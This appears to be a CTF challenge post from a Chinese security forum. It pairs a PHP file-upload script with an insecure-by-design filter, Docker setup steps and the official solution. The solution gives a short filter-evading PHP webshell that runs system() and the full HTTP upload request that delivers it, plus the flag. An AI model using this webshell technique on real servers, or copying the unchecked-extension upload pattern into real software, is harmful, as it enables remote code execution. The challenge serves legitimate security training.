个人提交
参赛题目:
又不是不能用
题目描述 :
E_NOTICE: 又不是不能用.png
----------
新人 第一次出题 难免有些错误
环境:PHP5.6+nginx
链接:https://pan.baidu.com/s/1X5hlGSmjo2oKfH-0c57_fw
提取码:72uk
使用docker load 载入镜像
docker load -i easyphp1.tar
docker run -d -p 2333:80 easyphp
--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php
if (isset( $_FILES [ "file" ][ "tmp_name" ])) {
$file = fopen ( $_FILES [ "file" ][ "tmp_name" ], "r" );
$data = fread ( $file , filesize ( $_FILES [ "file" ][ "tmp_name" ]));
$arr = json_decode( $data , true, 2);
if (json_last_error() != JSON_ERROR_NONE) {
die ( "JsonErr" );
}
if ( count ( $arr ) != 1) {
die ( "DataErr" );
}
$data = $arr [ 'data' ];
$len = strlen ( $data );
if ( $len > 56) {
die ( "Long" );
}
if (preg_match( "/[\[\]`'^=\/\\$.;]+/" , $data )) {
die ( "no" );
}
$name = mt_rand();
$ext = strrchr ( $_FILES [ 'file' ][ 'name' ], '.' );
$ext = trim( $ext );
move_uploaded_file( $_FILES [ "file" ][ "tmp_name" ], "upload/" . $name . $ext );
echo "upload/" . $name . $ext ;
} else {
highlight_file( __FILE__ );
}
?>
|
--
攻击方需要构造一个php文件读取根目录/下的flag
文件必须符合json规范 禁止使用部分特殊符号 且有长度限制
标准writeup
构造PHP一句话
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
POST / HTTP/1.1
Host: http://www.bilijk.tk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.8,en;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------29882803486271100771841892137
Content-Length: 419
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="file"; filename="123456.php"
Content-Type: application/octet-stream
{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}
-----------------------------29882803486271100771841892137
Content-Disposition: form-data; name="submit"
Submit
-----------------------------29882803486271100771841892137--
利用上传后的php文件 读取根目录中的flag

flag{ko_ko_da_yo~}
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-5-1 19:52
被kanxue编辑
,原因: